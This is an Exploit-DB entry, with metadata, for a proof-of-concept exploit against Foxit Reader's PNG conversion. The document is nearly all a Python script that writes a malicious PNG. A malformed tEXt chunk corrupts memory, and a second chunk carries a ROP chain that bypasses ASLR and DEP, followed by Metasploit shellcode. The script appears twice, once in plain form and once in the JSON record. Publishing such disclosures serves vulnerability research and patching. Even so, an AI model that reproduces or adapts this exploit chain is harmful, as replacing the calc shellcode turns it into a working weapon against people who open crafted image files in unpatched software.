ID EDB-ID:37699
Type exploitdb
Reporter Sascha Schirra
Modified 2015-07-27T00:00:00
Description
Foxit Reader - PNG Conversion Parsing tEXt Chunk Arbitrary Code Execution. Local exploit for windows platform
# Exploit Title: Foxit Reader PNG Conversion Parsing tEXt chunk - Arbitrary Code Execution
# Date: 07/07/2015
# Exploit Author: Sascha Schirra
# Vendor Homepage: https://www.foxitsoftware.com
# Software Link: https://www.foxitsoftware.com/downloads/
# Version: 7.0.8 - 7.1.5 (maybe also older versions) tested versions 7.1.5 and 7.0.8
# Tested on: Windows 7 SP1
# Vendor informed and bug confirmed: July 08th, 2015
"""
This is a PoC (ASLR/DEP bypass)
For ASLR bypass jrsysCrypt.dll is used, which doesn't make use of ASLR
For DEP bypass a ropchain is used which call ZwProtectVirtualMemory through fastsyscall.
This script looks for a tEXt chunk in a png file and replace this chunk with two other tEXt chunks.
The first of them triggers the vulnerability and the second one contains a ropchain and shellcode.
"""
import binascii
import struct
import re
import sys
p = lambda x:struct.pack('I', x)
if len(sys.argv) < 2:
print('usage: %s <pngfile>' % sys.argv[0])
exit()
print('Open file: %s' % sys.argv[1])
with open(sys.argv[1],'rb') as f:
data = f.read()
m = re.search('tEXt', data)
if not m:
print('No tEXt chunk')
exit()
print('tEXt chunk found')
start = data[:m.start()-4]
length = struct.unpack('>I', data[m.start()-4:m.start()])[0]
end = data[m.end()+length + 4:]
vulnChunk = 'tEXt\0' # vulnerable because of the missing keyword
vulnChunk += 'A'*8
vulnChunk += p(0x10041a14) # xchg eax, ecx; ret;
vulnChunk += p(0x10067e0a) # xchg eax, ebp; add byte ptr [eax], al; add esp, 4; ret;
vulnChunk += 'AAAA'
vulnChunk += p(0x10013d24) # mov esp, ebp; pop ebp; ret;
vulnChunk += 'A'*16
vulnChunk += '\x0a\xd2' # Partial Overwrite This have to be changed on each system. Another solution is needed here.
vulnlen = struct.pack('>I', 0x2b) # length os 0x2b is needed to overwrite 2 bytes of the this pointer.
vulnChunkCRC32 = struct.pack('>i',binascii.crc32(vulnChunk))
secondChunk = 'AAA\0'*(580)
secondChunk += p(0x10009b40) # Pointer to the following gadget: MOV EDX,DWORD PTR SS:[ESP+2C]; MOV EAX,DWORD PTR SS:[ESP+28]; PUSH EDX; MOV EDX,DWORD PTR SS:[ESP+24]; PUSH EAX; PUSH ESI; PUSH EDX; PUSH EDI; CALL DWORD PTR DS:[ECX+14]
secondChunk += p(0x1007c853) # pop esi; pop edi; pop ebx; pop ebp; ret;
secondChunk += p(0x1000ba26) # xchg eax, esp; rcr byte ptr [esi + 0x5d], 0x40; pop ebx; add esp, 0x18; ret;
secondChunk += 'AAAA'*2
secondChunk += p(0x1006265d) # mov eax, dword ptr [esp + 0xc]; push eax; call dword ptr [ecx + 8];
# calc shellcode - metasploit
buf = "\x83\xc4\xce"
buf += "\xda\xc8\xbb\x15\xee\x3a\x64\xd9\x74\x24\xf4\x5d\x33"
buf += "\xc9\xb1\x30\x31\x5d\x18\x83\xed\xfc\x03\x5d\x01\x0c"
buf += "\xcf\x98\xc1\x52\x30\x61\x11\x33\xb8\x84\x20\x73\xde"
buf += "\xcd\x12\x43\x94\x80\x9e\x28\xf8\x30\x15\x5c\xd5\x37"
buf += "\x9e\xeb\x03\x79\x1f\x47\x77\x18\xa3\x9a\xa4\xfa\x9a"
buf += "\x54\xb9\xfb\xdb\x89\x30\xa9\xb4\xc6\xe7\x5e\xb1\x93"
buf += "\x3b\xd4\x89\x32\x3c\x09\x59\x34\x6d\x9c\xd2\x6f\xad"
buf += "\x1e\x37\x04\xe4\x38\x54\x21\xbe\xb3\xae\xdd\x41\x12"
buf += "\xff\x1e\xed\x5b\x30\xed\xef\x9c\xf6\x0e\x9a\xd4\x05"
buf += "\xb2\x9d\x22\x74\x68\x2b\xb1\xde\xfb\x8b\x1d\xdf\x28"
buf += "\x4d\xd5\xd3\x85\x19\xb1\xf7\x18\xcd\xc9\x03\x90\xf0"
buf += "\x1d\x82\xe2\xd6\xb9\xcf\xb1\x77\x9b\xb5\x14\x87\xfb"
buf += "\x16\xc8\x2d\x77\xba\x1d\x5c\xda\xd0\xe0\xd2\x60\x96"
buf += "\xe3\xec\x6a\x86\x8b\xdd\xe1\x49\xcb\xe1\x23\x2e\x23"
buf += "\xa8\x6e\x06\xac\x75\xfb\x1b\xb1\x85\xd1\x5f\xcc\x05"
buf += "\xd0\x1f\x2b\x15\x91\x1a\x77\x91\x49\x56\xe8\x74\x6e"
buf += "\xc5\x09\x5d\x0d\x88\x99\x3d\xd2"
shellcode=buf
rop = ''
# Write Size to data section
rop += p(0x1002d346) #pop eax; ret
rop += p(0x100aa004) # data section
rop += p(0x100012ca) #pop ecx; ret
rop += p(0x1000)
# Write baseaddr (esp) to data section
rop += p(0x1001dd25) #mov dword ptr [eax], ecx; ret;
rop += p(0x1007b25c) #push esp; add eax, 0x20; pop ebx; ret;
rop += p(0x1002d346) #pop eax; ret
rop += p(0x100aa008) # data section
rop += p(0x1004eacc) #mov dword ptr [eax], ebx; pop ebx; ret;
rop += p(0xdeadc0de)
# dereference syscall and call it
rop += p(0x1002d346) #pop eax; ret
rop += p(0x7ffe0300) # fastsyscall
rop += p(0x10010ff4) #mov ecx, dword ptr [eax]; mov eax, [ecx]; ret;
rop += p(0x1002d346) #pop eax; ret
rop += p(0xd7) #syscall
rop += p(0x10081541) #push ecx;cld; ret
rop += p(0x100801f5) # 6xpop; ret
rop += p(0xdeadc0de)
rop += p(0xffffffff)
rop += p(0x100aa008) # datasection Pointer to baseaddress
rop += p(0x100aa004) # datasection Pointer to size
rop += p(0x40)
rop += p(0x100aa00c)
rop += p(0x1006c63b) # push esp, ret
rop += shellcode
secondChunk +=rop
secondChunk += 'A'*4000
secondChunk = secondChunk[:4000]
secondChunkLen = struct.pack('>i', len(secondChunk)+1)
secondChunk = 'tEXt'+'\0'+secondChunk
secondChunkCRC32 = struct.pack('>i',binascii.crc32(secondChunk))
with open('exploit_'+sys.argv[1],'wb') as f:
f.write(start+(secondChunkLen + secondChunk + secondChunkCRC32) +vulnlen + vulnChunk + vulnChunkCRC32+ end)
print('Exploit file created: %s' % ('exploit_'+sys.argv[1]))
{"bulletinFamily": "exploit", "id": "EDB-ID:37699", "cvelist": [], "modified": "2015-07-27T00:00:00", "lastseen": "2016-02-04T06:24:31", "edition": 1, "sourceData": "# Exploit Title: Foxit Reader PNG Conversion Parsing tEXt chunk - Arbitrary Code Execution\r\n# Date: 07/07/2015\r\n# Exploit Author: Sascha Schirra\r\n# Vendor Homepage: https://www.foxitsoftware.com\r\n# Software Link: https://www.foxitsoftware.com/downloads/\r\n# Version: 7.0.8 - 7.1.5 (maybe also older versions) tested versions 7.1.5 and 7.0.8\r\n# Tested on: Windows 7 SP1\r\n# Vendor informed and bug confirmed: July 08th, 2015\r\n\r\n\"\"\"\r\nThis is a PoC (ASLR/DEP bypass)\r\nFor ASLR bypass jrsysCrypt.dll is used, which doesn't make use of ASLR\r\nFor DEP bypass a ropchain is used which call ZwProtectVirtualMemory through fastsyscall.\r\nThis script looks for a tEXt chunk in a png file and replace this chunk with two other tEXt chunks.\r\nThe first of them triggers the vulnerability and the second one contains a ropchain and shellcode.\r\n\"\"\"\r\n\r\nimport binascii\r\nimport struct\r\nimport re\r\nimport sys\r\n\r\np = lambda x:struct.pack('I', x)\r\n\r\nif len(sys.argv) < 2:\r\n print('usage: %s <pngfile>' % sys.argv[0])\r\n exit()\r\n\r\nprint('Open file: %s' % sys.argv[1])\r\nwith open(sys.argv[1],'rb') as f:\r\n data = f.read()\r\n\r\nm = re.search('tEXt', data)\r\nif not m:\r\n print('No tEXt chunk')\r\n exit()\r\nprint('tEXt chunk found')\r\nstart = data[:m.start()-4]\r\nlength = struct.unpack('>I', data[m.start()-4:m.start()])[0]\r\nend = data[m.end()+length + 4:]\r\n\r\nvulnChunk = 'tEXt\\0' # vulnerable because of the missing keyword\r\nvulnChunk += 'A'*8\r\nvulnChunk += p(0x10041a14) # xchg eax, ecx; ret;\r\nvulnChunk += p(0x10067e0a) # xchg eax, ebp; add byte ptr [eax], al; add esp, 4; ret;\r\nvulnChunk += 'AAAA'\r\nvulnChunk += p(0x10013d24) # mov esp, ebp; pop ebp; ret;\r\nvulnChunk += 'A'*16\r\nvulnChunk += '\\x0a\\xd2' # Partial Overwrite This have to be changed on each system. Another solution is needed here.\r\n\r\n\r\nvulnlen = struct.pack('>I', 0x2b) # length os 0x2b is needed to overwrite 2 bytes of the this pointer.\r\nvulnChunkCRC32 = struct.pack('>i',binascii.crc32(vulnChunk))\r\n\r\nsecondChunk = 'AAA\\0'*(580) \r\nsecondChunk += p(0x10009b40) # Pointer to the following gadget: MOV EDX,DWORD PTR SS:[ESP+2C]; MOV EAX,DWORD PTR SS:[ESP+28]; PUSH EDX; MOV EDX,DWORD PTR SS:[ESP+24]; PUSH EAX; PUSH ESI; PUSH EDX; PUSH EDI; CALL DWORD PTR DS:[ECX+14]\r\nsecondChunk += p(0x1007c853) # pop esi; pop edi; pop ebx; pop ebp; ret;\r\nsecondChunk += p(0x1000ba26) # xchg eax, esp; rcr byte ptr [esi + 0x5d], 0x40; pop ebx; add esp, 0x18; ret;\r\nsecondChunk += 'AAAA'*2\r\nsecondChunk += p(0x1006265d) # mov eax, dword ptr [esp + 0xc]; push eax; call dword ptr [ecx + 8];\r\n\r\n\r\n# calc shellcode - metasploit\r\nbuf = \"\\x83\\xc4\\xce\"\r\nbuf += \"\\xda\\xc8\\xbb\\x15\\xee\\x3a\\x64\\xd9\\x74\\x24\\xf4\\x5d\\x33\"\r\nbuf += \"\\xc9\\xb1\\x30\\x31\\x5d\\x18\\x83\\xed\\xfc\\x03\\x5d\\x01\\x0c\"\r\nbuf += \"\\xcf\\x98\\xc1\\x52\\x30\\x61\\x11\\x33\\xb8\\x84\\x20\\x73\\xde\"\r\nbuf += \"\\xcd\\x12\\x43\\x94\\x80\\x9e\\x28\\xf8\\x30\\x15\\x5c\\xd5\\x37\"\r\nbuf += \"\\x9e\\xeb\\x03\\x79\\x1f\\x47\\x77\\x18\\xa3\\x9a\\xa4\\xfa\\x9a\"\r\nbuf += \"\\x54\\xb9\\xfb\\xdb\\x89\\x30\\xa9\\xb4\\xc6\\xe7\\x5e\\xb1\\x93\"\r\nbuf += \"\\x3b\\xd4\\x89\\x32\\x3c\\x09\\x59\\x34\\x6d\\x9c\\xd2\\x6f\\xad\"\r\nbuf += \"\\x1e\\x37\\x04\\xe4\\x38\\x54\\x21\\xbe\\xb3\\xae\\xdd\\x41\\x12\"\r\nbuf += \"\\xff\\x1e\\xed\\x5b\\x30\\xed\\xef\\x9c\\xf6\\x0e\\x9a\\xd4\\x05\"\r\nbuf += \"\\xb2\\x9d\\x22\\x74\\x68\\x2b\\xb1\\xde\\xfb\\x8b\\x1d\\xdf\\x28\"\r\nbuf += \"\\x4d\\xd5\\xd3\\x85\\x19\\xb1\\xf7\\x18\\xcd\\xc9\\x03\\x90\\xf0\"\r\nbuf += \"\\x1d\\x82\\xe2\\xd6\\xb9\\xcf\\xb1\\x77\\x9b\\xb5\\x14\\x87\\xfb\"\r\nbuf += \"\\x16\\xc8\\x2d\\x77\\xba\\x1d\\x5c\\xda\\xd0\\xe0\\xd2\\x60\\x96\"\r\nbuf += \"\\xe3\\xec\\x6a\\x86\\x8b\\xdd\\xe1\\x49\\xcb\\xe1\\x23\\x2e\\x23\"\r\nbuf += \"\\xa8\\x6e\\x06\\xac\\x75\\xfb\\x1b\\xb1\\x85\\xd1\\x5f\\xcc\\x05\"\r\nbuf += \"\\xd0\\x1f\\x2b\\x15\\x91\\x1a\\x77\\x91\\x49\\x56\\xe8\\x74\\x6e\"\r\nbuf += \"\\xc5\\x09\\x5d\\x0d\\x88\\x99\\x3d\\xd2\"\r\n\r\n\r\nshellcode=buf\r\nrop = ''\r\n# Write Size to data section\r\nrop += p(0x1002d346) #pop eax; ret\r\nrop += p(0x100aa004) # data section\r\nrop += p(0x100012ca) #pop ecx; ret\r\nrop += p(0x1000)\r\n\r\n# Write baseaddr (esp) to data section\r\nrop += p(0x1001dd25) #mov dword ptr [eax], ecx; ret;\r\nrop += p(0x1007b25c) #push esp; add eax, 0x20; pop ebx; ret;\r\nrop += p(0x1002d346) #pop eax; ret\r\nrop += p(0x100aa008) # data section\r\nrop += p(0x1004eacc) #mov dword ptr [eax], ebx; pop ebx; ret;\r\nrop += p(0xdeadc0de)\r\n\r\n# dereference syscall and call it\r\nrop += p(0x1002d346) #pop eax; ret\r\nrop += p(0x7ffe0300) # fastsyscall\r\nrop += p(0x10010ff4) #mov ecx, dword ptr [eax]; mov eax, [ecx]; ret;\r\nrop += p(0x1002d346) #pop eax; ret\r\nrop += p(0xd7) #syscall\r\nrop += p(0x10081541) #push ecx;cld; ret\r\n\r\nrop += p(0x100801f5) # 6xpop; ret\r\nrop += p(0xdeadc0de)\r\nrop += p(0xffffffff)\r\nrop += p(0x100aa008) # datasection Pointer to baseaddress\r\nrop += p(0x100aa004) # datasection Pointer to size\r\nrop += p(0x40)\r\nrop += p(0x100aa00c)\r\nrop += p(0x1006c63b) # push esp, ret\r\n\r\nrop += shellcode\r\n\r\nsecondChunk +=rop\r\nsecondChunk += 'A'*4000\r\nsecondChunk = secondChunk[:4000] \r\n\r\nsecondChunkLen = struct.pack('>i', len(secondChunk)+1) \r\nsecondChunk = 'tEXt'+'\\0'+secondChunk\r\nsecondChunkCRC32 = struct.pack('>i',binascii.crc32(secondChunk))\r\n\r\nwith open('exploit_'+sys.argv[1],'wb') as f:\r\n\tf.write(start+(secondChunkLen + secondChunk + secondChunkCRC32) +vulnlen + vulnChunk + vulnChunkCRC32+ end)\r\n\r\nprint('Exploit file created: %s' % ('exploit_'+sys.argv[1]))", "published": "2015-07-27T00:00:00", "href": "https://www.exploit-db.com/exploits/37699/", "osvdbidlist": ["125418"], "reporter": "Sascha Schirra", "hash": "c5836fad40d2c3698d3f2e778df4bdcb866d21cc3910df03eb8fbb0b82db7172", "title": "Foxit Reader - PNG Conversion Parsing tEXt Chunk Arbitrary Code Execution", "history": [], "type": "exploitdb", "objectVersion": "1.0", "description": "Foxit Reader - PNG Conversion Parsing tEXt Chunk Arbitrary Code Execution. Local exploit for windows platform", "references": [], "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://www.exploit-db.com/download/37699/", "enchantments": {"vulnersScore": 7.5}}
{"result": {}}